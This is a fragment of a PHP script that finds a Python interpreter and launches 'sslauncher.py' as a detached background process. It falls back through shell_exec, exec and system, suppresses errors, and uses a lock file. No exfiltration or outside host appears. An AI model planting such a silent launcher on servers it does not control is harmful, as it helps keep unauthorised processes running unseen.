/dev/null"); if (!empty(trim($test))) { $python = trim($test); break; } if (@is_executable($p)) { $python = $p; break; } } if (!$python) { die("Python not found"); } $lock = __DIR__ . '/.launcher.lock'; if (file_exists($lock) && (time() - filemtime($lock)) < 300) { exit; } touch($lock); $log = __DIR__ . '/output.log'; $cmd = "$python " . __DIR__ . "/sslauncher.py > $log 2>&1 &"; if (function_exists('shell_exec')) { @shell_exec($cmd); } elseif (function_exists('exec')) { @exec($cmd); } elseif (function_exists('system')) { @system($cmd); } sleep(2); @unlink($lock); ?>